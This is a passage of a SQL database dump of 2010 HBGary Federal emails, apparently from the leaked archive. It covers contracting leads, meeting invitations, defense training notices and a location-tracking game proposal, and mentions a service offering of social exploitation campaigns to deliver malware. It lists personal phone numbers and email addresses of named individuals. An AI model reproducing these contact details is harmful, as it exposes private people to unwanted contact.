conduct social reconnaissance using social media services.  In the use cases section we run down methodologies for social reconnaissance and run through some examples of how it can be used specifically for information collection, competitive intelligence, and developing social reconnaissance and exploitation campaigns to deliver malware.  Lastly we describe some of the steps and solutions that can be implemented to decrease information exposure while still being able to take advantage of what social media has to offer.\r\nWe also offer a tailored course that includes a social media penetration test, information exposure report, and tailored class based on pen test analysis that is very effective.\r\nSent from my iPad\r\n',9107,'aaron_hbgary_com/9107.html'),(11101,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008500.M411550P14101Q5956.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Sirius','Nope it\'s the new UNO.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 31, 2010, at 12:11 PM, Ted Vera  wrote:\r\n\r\n> Could it be this IARPA RFP?\r\n>\r\n>\r\n> http://www.iarpa.gov/rfi_sirius.html\r\n>\r\n>\r\n>\r\n> On Tue, Aug 31, 2010 at 10:05 AM, Aaron Barr  wrote:\r\n>> I don\'t know Chad or this program.  Will find out.\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>> Begin forwarded message:\r\n>>\r\n>> From: Chad Breese \r\n>> Date: August 31, 2010 12:01:07 PM EDT\r\n>> To: aaron@hbgary.com\r\n>> Subject: Sirius\r\n>>\r\n>>\r\n>> Aaron,\r\n>>\r\n>> Raytheon is planning to prime the Sirius opportunity this go around and we\r\n>> would like to talk to you about joining the team if you are interested.\r\n>> When would be a good time for you to get together and talk?\r\n>>\r\n>> Regards,\r\n>> Chad\r\n>>\r\n>>\r\n>> Chad Breese\r\n>> Business Development\r\n>> Raytheon Telemus, Inc.\r\n>> 7600 Leesburg Pike, Suite 400\r\n>> Falls Church, VA 22043\r\n>> Chad.Breese@Raytheon.com\r\n>> (571) 435-4739\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',7985,'aaron_hbgary_com/7985.html'),(11102,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008500.M658196P14101Q5957.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Sirius','Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: August 31, 2010 12:11:13 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Sirius\r\nCould it be this IARPA RFP?http://www.iarpa.gov/rfi_sirius.html\r\nOn Tue, Aug 31, 2010 at 10:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:I don&#39;t know Chad or this program.  Will find out.\r\nAaronSent from my iPhone\r\nBegin forwarded message:From: Chad Breese &lt;Chad.Breese@raytheon.com&gt;\r\nDate: August 31, 2010 12:01:07 PM EDTTo: aaron@hbgary.com\r\nSubject: SiriusAaron,\r\nRaytheon is planning to prime the Sirius opportunity this go around and wewould like to talk to you about joining the team if you are interested.\r\nWhen would be a good time for you to get together and talk?Regards,\r\nChadChad Breese\r\nBusiness DevelopmentRaytheon Telemus, Inc.7600 Leesburg Pike, Suite 400\r\nFalls Church, VA 22043Chad.Breese@Raytheon.com\r\n(571) 435-4739-- \r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',6337,'aaron_hbgary_com/6337.html'),(11103,'2010-08-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008500.M902543P14101Q5958.eml','\"Aaron Barr\" <aaron@hbgary.com>','what do you think of these',' \r\nhttp://www.exitreality.com/3dsocialnetworks.html\r\nhttp://www.kaneva.com/\r\nhttp://www.lively.com/goodbye.html\r\n \r\nWhere I am having trouble is seeing how 3D avatars add any value to the web based social experience.\r\n \r\n-Greg\r\n',253,'aaron_hbgary_com/253.html'),(11104,'2010-08-31','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008501.M103749P14101Q5959.eml','aaron@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>,\"Sean.Sobieraj@us-cert.gov\" <sean.sobieraj@us-cert.gov>,\"Phil Wallisch\" <phil@hbgary.com>,byron.copeland@dhs.gov,\"Penny Leavy\" <penny@hbgary.com>','Updated Invitation: US-CERT HBGary meeting @ Thu Sep 9 10:30am - 11:30am (aaron@hbgary.com)','This event has been changed. more details &raquo;US-CERT HBGary meeting Our address is:1110 N Glebe Rd. Arlington, VA 22201Just take the elevator to the 7th floor lobby and someone will meet youthere to sign you in at the security desk.  For the visitor requests canyou send me the names and last 4 SSN of everyone that will be attending? View your event at http://www.google.com/calendar/hosted/hbgary.com/event?action=VIEW&amp;eid=Z28zdnBqOWQxcnBtc2VvNzJzOTZuc2VzZmsgYWFyb25AaGJnYXJ5LmNvbQ&amp;tok=MTYjbWFyaWFAaGJnYXJ5LmNvbWM3ZGVlNmI3ZTQ0ZGYxZDdmZTU3MTZmNGZlZjJlNjQxNDM4ZGYzMDU&amp;ctz=America%2FNew_York&amp;hl=en.WhenThu Sep 9 10:30am – 11:30am Eastern TimeWhere1110 N Glebe Rd. Arlington, VA 22201  7th floor lobby sign in  (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;Greg Hoglund&#x2022;Aaron Barr&#x2022;Sean.Sobieraj@us-cert.gov&#x2022;Phil Wallisch&#x2022;byron.copeland@dhs.gov&#x2022;Penny LeavyGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',14807,'aaron_hbgary_com/14807.html'),(11105,'2010-08-31','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297008501.M311964P14101Q5960.eml','aaron@hbgary.com','Education is Back in Session - Systems Engineering and Architecture Courses','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		360 Implementing IPv6;&nbsp; Sept 21 - 24, 2010\r\n		  515 Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers;&nbsp; Oct 19, 2010 \r\n		  503 DoD Architecture Framework Implementation;&nbsp; Nov 8 - 12, 2010 \r\n		  507 Software Quality Assurance and Improvement;&nbsp; Nov 16 - 18, 2010\r\n		  &nbsp;\r\n		  360 Implementing IPv6;&nbsp; Sept 21 - 24, 2010 \r\n		  This course will meet the basic IPv6 needs of network and system architects, engineers, support personnel, and anyone with an interest in the next generation Internet protocol. Attendees should have a general understanding of networking concepts, network, infrastructure components, and IPv4.\r\n		  515 Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers;&nbsp; Oct 19, 2010 \r\n		  This course requires no extensive engineering education or experience. Anyone in government or industry whose responsibilities involve the acquisition or fielding of DoD weapons platforms and systems, including any command, control, communications, computers, or other electronic systems, can benefit. Current military and civilian EMC experts can also benefit from the continuously updated information in the broad range of E3 and SS topics covered in this course.\r\n    503 DoD Architecture Framework Implementation;&nbsp; Nov 8 - 12, 2010 \r\n    This course is focused on the design of architectures and the generation of architecture data needed in producing viewpoints and associated models conformant to DoDAF 2.0. The course introduces DoDAF 2.0, with emphasis on changes from previous versions, and then concentrates on an object-oriented methodology for the design of architectures that conform to DoDAF 2.0.&nbsp; The course includes a series of workshops in which course participants, organized in teams, work through an example problem and produce a service-oriented architecture from which the models described in DoDAF are generated. \r\n    507 Software Quality Assurance and Improvement;&nbsp; Nov 16 - 18, 2010\r\n    Software quality assurance (SQA) has been proven effective in reducing software costs\r\n  and increasing customer satisfaction through prevention of software defects. This\r\n  course familiarizes participants with the evolving role of SQA in modern software\r\n  development and support. Emphasis is placed on understanding the fundamentals\r\n  of software engineering and development and how the principles of SQA can be\r\n  employed to optimize software quality. The course covers the Software Engineering\r\n  Institute&rsquo;s Capability Maturity Model Software Quality Assurance key process\r\n  area topics. Class exercises and discussions allow participants to gain a broad\r\n  understanding of SQA, and how to apply to their own organizational needs.\r\n    Addtional Fall courses:\r\n     203 The U.S. Intelligence Community: Who Does What, With What, For What? September 13-15, 2010.&nbsp; This course is Classified. A secret clearance is required to attend this course. \r\n    907 The Ultimate Government Market Research Workshop; September 28\r\n    906 The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting; September 29-30\r\n    302 Military Satellite Communications in a Net-Centric Environment; Oct 4 - 8 \r\n    This course is Classified.&nbsp; A secret clearance is required to attend this course. \r\n    For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become a member.\r\n    All courses will be held in Fairfax, VA unless otherwise noted. \r\n    ____________________________________________________________________________\r\n    For more PDC course information: \r\n    Print or download our Fall 2010 - Spring 2011 catalog in PDF format at Downloadable PDC Catalog.\r\n    The PDC is now on Facebook.&nbsp; You can visit AFCEA Educational Foundation Professional Development Center and add us to your list of \"likes.\"&nbsp;\r\n    Subscribe to RSS to get updated information about PDC courses automatically downloaded to your computer.\r\n    For full course descriptions, fees, instructor bios, and to register go to PDC Courses. \r\n    For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n        \r\n  Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n    \r\n        \r\n\r\n\r\n\r\n This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n  \r\n  AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n    \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',15,'aaron_hbgary_com/15.html'),(11106,'2010-08-31','\"DARPA-BAA-10-84\" <DARPA-BAA-10-84@darpa.mil>','/aaron@hbgary.com/new/1297008501.M514146P14101Q5961.eml','','Additional space now available in Arlington for the CINDER Industry Day September 9, 2010.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello,\r\n\r\n&nbsp;\r\n\r\nAs you may be aware, The Defense Advanced Research\r\nProjects Agency (DARPA) will be hosting a Proposers\' Day Workshop in support of\r\nthe new DARPA-BAA-10-84, Cyber-Insider (CINDER) program. &nbsp;\r\n\r\n&nbsp;\r\n\r\nYou are receiving this email because additional registration\r\nopportunities have been made available for the September 9, Arlington, VA Industry\r\nDay Workshop. If you have not already done so and would like to register, please\r\ngo to http://cinderprogram.spcconference.com/cgi-bin/index.cgi.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nDARPA-BAA-10-84 Team\r\n\r\nDARPA/STO\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',445,'aaron_hbgary_com/445.html'),(11107,'2010-08-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008501.M798192P14101Q5962.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Additional space now available in Arlington for the CINDER Industry Day September 9, 2010.','Begin forwarded message:From: DARPA-BAA-10-84 &lt;DARPA-BAA-10-84@darpa.mil&gt;\r\nDate: August 31, 2010 11:23:32 AM MDTCc: DARPA-BAA-10-84 &lt;DARPA-BAA-10-84@darpa.mil&gt;Subject: Additional space now available in Arlington for the CINDER Industry Day September 9, 2010.\r\n\r\n\r\n\r\n\r\nHello,\r\n\r\n \r\n\r\nAs you may be aware, The Defense Advanced Research\r\nProjects Agency (DARPA) will be hosting a Proposers&#39; Day Workshop in support of\r\nthe new DARPA-BAA-10-84, Cyber-Insider (CINDER) program.  \r\n\r\n \r\n\r\nYou are receiving this email because additional registration\r\nopportunities have been made available for the September 9, Arlington, VA Industry\r\nDay Workshop. If you have not already done so and would like to register, please\r\ngo to http://cinderprogram.spcconference.com/cgi-bin/index.cgi.\r\n\r\n \r\n\r\nThank you,\r\n\r\n \r\n\r\nDARPA-BAA-10-84 Team\r\n\r\nDARPA/STO\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5761,'aaron_hbgary_com/5761.html'),(11108,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008502.M357918P14101Q5964.eml','\"david.gertler@L-3com.com\" <david.gertler@l-3com.com>,\"stephen.korns@L-3com.com\" <stephen.korns@l-3com.com>,\"john.defreitas@L-3com.com\" <john.defreitas@l-3com.com>,\"david.gertler@L-3com.com\" <david.gertler@l-3com.com>','Follow up to our discussion','Gentlemen,\r\n\r\nThank you for meeting with me today and for the good discussion around\r\ncyber.  Please let me know what areas of our discussion are of most\r\ninterest for follow up and we can set up the necessary demos or\r\ntechnical discussions.\r\n\r\nFor refresher:\r\nFocus areas: threat intelligence, incident response, IO/CNO\r\n\r\nPartnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\nTechnologies: forensics, malware analysis, enterprise advanced\r\ndetection, volume malware processing, threat intelligence\r\nServices: incident response, malware analysis, social media pen\r\ntesting, IO/CNO, SOC\r\nTraining: malware analysis, social media\r\n\r\nOn a side note we have a lot of interest and capability in different\r\naspects of social media, game technology, and location based services\r\nthat might be of interest.\r\n\r\nRespectfully,\r\nAaron\r\n\r\nSent from my iPad\r\n',13618,'aaron_hbgary_com/13618.html'),(11109,'2010-08-31','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008502.M586472P14101Q5965.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Steve Guthrie and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 31, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Intermediate Acquisition Specialist (Glen Burnie,MD)\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Steve Guthrie, Recruiter, Federal Solutions Division at Government Contract Solutions\r\n        \r\n          \r\n	              Immediate openings for Mid-level Acquisitions and Contracts Specialists in Glen Burnie, MD\r\n                By Steve Guthrie, Recruiter, Federal Solutions Division at Government Contract Solutions\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',88,'aaron_hbgary_com/88.html'),(11110,'2010-08-31','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008502.M6541P14101Q5963.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: SBIR - Medical Gaming Q&A','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nWhen writing the tech content for this SBIR please tell the full\r\nstory which includes the code you have already written.&nbsp; The SBIR data\r\nrights pertain only to what we report and deliver during the contract.&nbsp;\r\nBut we need to describe the full story including what already exists to write a\r\nwinning proposal.&nbsp; We can point to the existing code as past work.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, August 31, 2010 11:21 AM\r\nTo: Bob Slapnik\r\nCc: Aaron Barr\r\nSubject: Re: SBIR - Medical Gaming Q&amp;A\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis one might actually be a good fit.&nbsp; Our 3D\r\nimmersive environment would be ideal for this, and would outclass anything that\r\nsomeone might try to do with Flash (which is very limiting in terms of\r\nimmersive).&nbsp; Furthermore, the work breakdown could be such that we protect\r\nour game engine from SBIR data rights.&nbsp; Instead of developing the game\r\nengine with SBIR money, we develop the CONTENT for this training simulation\r\nwith it.&nbsp; So, the APPLICATION is tagged with SBIR data rights, but the\r\nplatform is separate.&nbsp; With that said, we could use the SBIR money to hire\r\na medical professional with direct prior experience&nbsp;as an&nbsp;AF field\r\nmanager or equivalent who would develop the training curriculum.&nbsp; For our\r\nplatform team, meaning the C++ programmer and artist, the artist would bill\r\npart time against the SBIR when developing medical simulation assets.&nbsp; The\r\nC++ programmer would bill part time against the SBIR when developing\r\nextensions&nbsp;that are specific to the APPLICATION and are not intended to be\r\nused in the platform.&nbsp; I can see all this mechanically and it would\r\nwork.&nbsp; That said, the SBIR would not fund the entire effort - it would\r\nonly pay for the medical simulation - but I can\'t see how it would hurt the\r\ncompany at all either...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Aug 30, 2010 at 9:56 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\nand Aaron,\r\n\r\n&nbsp;\r\n\r\nPosted\r\nQ&amp;A for Medical Gaming.&nbsp; Wonder if we could team with another company\r\nthat knows medical and we know gaming&#8230;&#8230;.\r\n\r\n&nbsp;\r\n\r\nQuestions and Answers:\r\n\r\nQ: Is it\r\npossible to see what is in current use within the DOD for this type of\r\neducation/simulation/game at this time?\r\n\r\nA: There is no\r\nproduct currently that incorporates the entire continuum of care (point of\r\ninjury to level 1 trauma hospital).\r\n\r\n&nbsp;\r\n\r\nQ: Is there a\r\ncurrent vendor or product currently being used which can be seen externally?\r\n\r\nA: No current\r\nproducts being used.\r\n\r\n&nbsp;\r\n\r\nQ: Can you\r\nprovide a pointer to more details on the virtual medical training world being\r\ndeveloped for the AFMS Medical Modeling and Simulation program?\r\n\r\nA: The medical\r\ngame must be accessible from overarching virtual medical\r\n\r\ntraining world. This training world will be embedded on the\r\nweb through\r\nan Air Force Medical Modeling &amp; Simulation Training (AFMMST) website that\r\nwill include avatar virtual environments. Bottom line, the game must be\r\ndirectly linked to the overarching platform so our program maintains a \'one-stop\r\nshop\' for all of our medical personnel to train on the game no matter where\r\nthey are geographically. The game will be a \'virtual environment\'. It should be\r\nable to integrate with the virtual world, but not require it to run the game.\r\nThe virtual world is currently under development.\r\n\r\n&nbsp;\r\n\r\nQ: 2D\r\nsimulations (e.g. Flash games) have can be a cost-effective way of training\r\nprocedural and other cognitive skills. Do you see a role for these types of\r\nsimulations in the solution you are seeking?\r\n\r\nA: The gaming environment\r\nneeds to be as realistic as possible, so flash games may be limiting in this\r\ngoal. Flash video to setup a specific medical scene may be a possibility, but\r\nas far the interactive gaming portion itself, it needs to be more advanced. For\r\nexample, we think a flash video of the &quot;setup&quot; would be sufficient to\r\nset the scene from a combat zone to complete the following medical play.\r\n\r\n&nbsp;\r\n\r\nQ: Do you have\r\naccess to any existing repositories of relevant training scenarios?\r\n\r\nA: We do have\r\naccess to relevant medical training scenarios. We have developed medical\r\nscenarios on a standardized template for the AFMS Medical Modeling &amp;\r\nSimulation Program. These scenarios are validated through active duty career\r\nfield managers and consultants that are appointed by the AF Surgeon General.\r\nThe company that is selected depending upon the winning proposal will be given\r\naccess to the necessary scenarios at that time. In a general sense, trauma\r\nscenarios will be the focus in the medical game.\r\n\r\nQ: What are the\r\nnetwork throughputs requirements to be met?\r\n\r\nA: Are you\r\ntalking about bandwidth? If so, bandwidth is limited on AF bases, comparable to\r\nDSL speeds to the average user. If not, then please clarify your question.\r\n\r\n&nbsp;\r\n\r\nQ: Are there any\r\nnon-medical games that has the level of realism that you\'re looking for?\r\n\r\nA: . . .\r\nresponse pending . . .\r\n\r\n&nbsp;\r\n\r\nQ: Can you\r\ndefine the limits of the expected budget or targeted cost estimate?\r\n\r\nA: . . .\r\nresponse pending . . .\r\n\r\n&nbsp;\r\n\r\nQ: In the answer\r\nto question #3 above you state:\r\nIt should be able to integrate with the virtual world, but not require it to\r\nrun the game. The virtual world is currently under development.\r\n\r\nQuestion: What specific technology is being used for this virtual world under\r\ndevelopment that the SBIR game should be able to plug into. Who is building\r\nthis virtual world and can we see the specifications for it.\r\n\r\nA: . . .\r\nresponse pending . . .\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/30/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14533,'aaron_hbgary_com/14533.html'),(11111,'2010-08-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008502.M904330P14101Q5966.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','trying to tie together all 3 aspects into one game universe',' \r\n\r\nProposal for Fusion\r\nI have attempted to fuse all three concepts here: Social Gaming, Social Networking, and Real World Location.  First there is a game.  Then, add to this game integration of existing social networks (FaceBook, etc).  Then, make real world location a type of resource in the game economy.  Let me explain how I imagine this is done... \r\n\r\nFirst, there will be a virtual game world in a light hearted theme (light fantasy, for example).  This game world functions as a real game with the standard pillars of progression, exploration, competition, and story.  You might call this the game backbone and that is what makes it a game-economy as opposed to a virtual chat room.  The game economy functions as the basis for social status, primarily through progression, and is ultimately what makes the world addictive to players (for example, this is why Farmville is addictive).  Now integrate real world location and social networks.  \r\n\r\nThe game world uses a clever device to tie in real world locations and subsequent use of location based data. The look and feel of certain locations in the game world mirror the spirit of real world locations.  For example, a game city could be modeled in the spirit of San Francisco  - certain landmarks, color schemes, etc.  This is not a direct replica of SF, it would be a fantasy theme modeled on the spirit of SF.  By remaining in a fantasy theme, the mirror area would not break the &#39;escape from reality&#39; that the player seeks with immersion.  Yet, it would also maintain the general sense of the real-world cities identity.  Thus, the virtual world serves as a fantasy extension to the real world.  Once this baseline is established, real world location information for the real city would be utilized as a type of resource in the fantasy region that mirrors that city.  What follow are some examples of how real location data can be used:\r\n\r\n1.       Loitering\r\n\r\na.       Where does the player like to spend time in the real world?\r\n\r\nb.      Example: Starbucks owns a virtual property in the &#39;San Francisco&#39; region of the fantasy city.  This property contains a special VIP lounge with some form of direct benefit to the player.  Based on real-world location data, if the player spends more than 8 hours a month loitering in real Starbucks cafe&#39;s in San Francisco, it unlocks access to the special VIP area in the fantasy Starbucks - granting some benefit.  This would encourage players to spend their real-world loitering time in Starbucks locations, possibly even using Starbucks wireless to access the game world.  This translates to more retail sales for Starbucks.\r\n\r\n2.       Home Town\r\n\r\na.       Players who are all located in the same town are offered special in-game benefits if they meet at a real world local park.  This would be some form of quest.  The benefit in-game would be meaningful, and it would encourage people to meet in real life.\r\n\r\nb.      Area Buff - players who live in San Francisco would gain a &#39;locals only&#39; buff in-game when their hero character visits the San-Francisco-Themed region of the game world.  This would be a direct benefit to the player character, such as a stat bonus or novel ability with a cooldown.\r\n\r\nc.       Players who are local to San Francisco would have a &#39;locals only&#39; discount on virtual property in the San Francisco themed area of the game world.\r\n\r\n3.       Touring (aka badging)\r\n\r\na.       Retail Touring - the player is given some specific in-game reward for visiting one or more retail locations in the real world.  \r\n\r\nb.      Treasure Hunt - this could be retail-driven or casual requiring the player to visit several real world locations as part of a quest\r\n\r\nc.       Site-seeing - a quest that involves visiting one or more locations without any specific retail upside\r\n\r\nVirtual real estate could be purchased with in-game currency which is made using normal in-game play.  Alternatively, retailers could purchase real estate outright and bypass the need to actually play the game.  Shops could sell in-game items which must be manufactured using in-game resources, but again retailers could just pay a monthly fee that allows them to manufacture those items without having in-game resources.  Players can set prices for their items, but retailers could require location-badges instead of currency, a form of retail touring.  Players who spend a certain number of hours per month at Starbucks, for example, could gain access to an in-game private lounge reserved for Starbucks patrons, a form of loitering reward. \r\n\r\nLocation data doesn&#39;t have to be city-specific.  It can even be used to detect players who travel a great deal. Players who travel a great deal tend to be successful business people.  The game could offer access to special areas for high-worth individuals.  Items in those VIP area&#39;s could be things of interest to a business person, such as a discount on an analyst report, etc.\r\n\r\nThe player&#39;s existing social networks can be integrated so that the player is likely to invite friends, family, and colleagues to play the game.  Within the game, social groups can be created based on real-world social networks.  In addition, virtual meeting places can be created based on common real-world interests.  For example, players of like minded interests can construct a virtual &#39;meeting hall&#39; or can create guilds devoted to a particular interest.  They could meet and discuss their topic in the game world, and could casually game together.  The game could offer an &quot;invite a peer&quot; program that utilizes the players LinkedIn social network to invite other players to a guild devoted to a particular industry.  The player&#39;s FaceBook or MySpace network could be used for an &#39;invite a friend&#39; program that gives the player a reward benefit.  By extension, a player could give an in-game gift to a non-player in his social network, indirectly inviting that player to join the game.  A buddy system in-game would give benefits to players who are already socially connected and join up as a team in-game.  This incentive could be tied to a petition that requires a certain number of player signatures, inciting a player to invite friends from his social network.\r\n\r\n \r\n',11962,'aaron_hbgary_com/11962.html'),(11112,'2010-08-31','john.defreitas@l-3com.com','/aaron@hbgary.com/new/1297008503.M111008P14101Q5967.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Gertler, David @ STRATIS\" <david.gertler@l-3com.com>,\"Korns, Stephen @ STRATIS\" <stephen.korns@l-3com.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow up to our discussion','Aaron, thanks for taking the time to meet with us.  I ran into Alex when\r\nI returned to Reston and gave him a quick run-down on our discussions.\r\nOf course, he took credit for providing Navy leadership and training at\r\nMisawa, that surely inspired you and provided the skills that led to all\r\nof your success :-).  Hope that we can find a way to work together going\r\nforward.  Take care.  John\r\n\r\nJohn DeFreitas, III\r\nVP, D/GM, Civil Government Solutions \r\nL-3 STRATIS  \r\n11955 Freedom Dr., Rm 10081\r\nReston, VA  20190\r\n(W) (703) 434-5145\r\n(C) (571) 246-2249\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 31, 2010 4:01 PM\r\nTo: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John\r\n@ STRATIS\r\nCc: Miller, Alexander A @ STRATIS\r\nSubject: Follow up to our discussion\r\n\r\nGentlemen,\r\n\r\nThank you for meeting with me today and for the good discussion around\r\ncyber.  Please let me know what areas of our discussion are of most\r\ninterest for follow up and we can set up the necessary demos or\r\ntechnical discussions.\r\n\r\nFor refresher:\r\nFocus areas: threat intelligence, incident response, IO/CNO\r\n\r\nPartnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\nTechnologies: forensics, malware analysis, enterprise advanced\r\ndetection, volume malware processing, threat intelligence\r\nServices: incident response, malware analysis, social media pen\r\ntesting, IO/CNO, SOC\r\nTraining: malware analysis, social media\r\n\r\nOn a side note we have a lot of interest and capability in different\r\naspects of social media, game technology, and location based services\r\nthat might be of interest.\r\n\r\nRespectfully,\r\nAaron\r\n\r\nSent from my iPad\r\n',3630,'aaron_hbgary_com/3630.html'),(11113,'2010-08-31','alexander.miller@l-3com.com','/aaron@hbgary.com/new/1297008503.M343897P14101Q5968.eml','\"DeFreitas, John @ STRATIS\" <john.defreitas@l-3com.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Gertler, David @ STRATIS\" <david.gertler@l-3com.com>,\"Korns, Stephen @ STRATIS\" <stephen.korns@l-3com.com>','RE: Follow up to our discussion','No doubt I have helped many others achieve wealth and fame. Unfortunately, it keep avoiding me. \r\n\r\nAaron, all attendees were very impress with your company. I appreciate the time you spent with us. \r\n\r\nSincerely, Alex\r\n\r\nRADM Alex Miller USN (Ret)\r\nSVP and General Manager, Intelligence Solutions Business Unit\r\nL-3 STRATIS \"Powered by Excellence\"\r\n2720 Technology Dr.\r\nAnnapolis Junction, MD. 20701\r\n(301) 575-2801 Office\r\n(443) 695-1232 Cell\r\n(301) 575-3506 Fax\r\nalexander.miller@l-3com.com\r\n\r\n-----Original Message-----\r\nFrom: DeFreitas, John @ STRATIS \r\nSent: Tuesday, August 31, 2010 4:28 PM\r\nTo: Aaron Barr; Gertler, David @ STRATIS; Korns, Stephen @ STRATIS\r\nCc: Miller, Alexander A @ STRATIS\r\nSubject: RE: Follow up to our discussion\r\n\r\nAaron, thanks for taking the time to meet with us.  I ran into Alex when I returned to Reston and gave him a quick run-down on our discussions.  Of course, he took credit for providing Navy leadership and training at Misawa, that surely inspired you and provided the skills that led to all of your success :-).  Hope that we can find a way to work together going forward.  Take care.  John\r\n\r\nJohn DeFreitas, III\r\nVP, D/GM, Civil Government Solutions \r\nL-3 STRATIS  \r\n11955 Freedom Dr., Rm 10081\r\nReston, VA  20190\r\n(W) (703) 434-5145\r\n(C) (571) 246-2249\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 31, 2010 4:01 PM\r\nTo: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John @ STRATIS\r\nCc: Miller, Alexander A @ STRATIS\r\nSubject: Follow up to our discussion\r\n\r\nGentlemen,\r\n\r\nThank you for meeting with me today and for the good 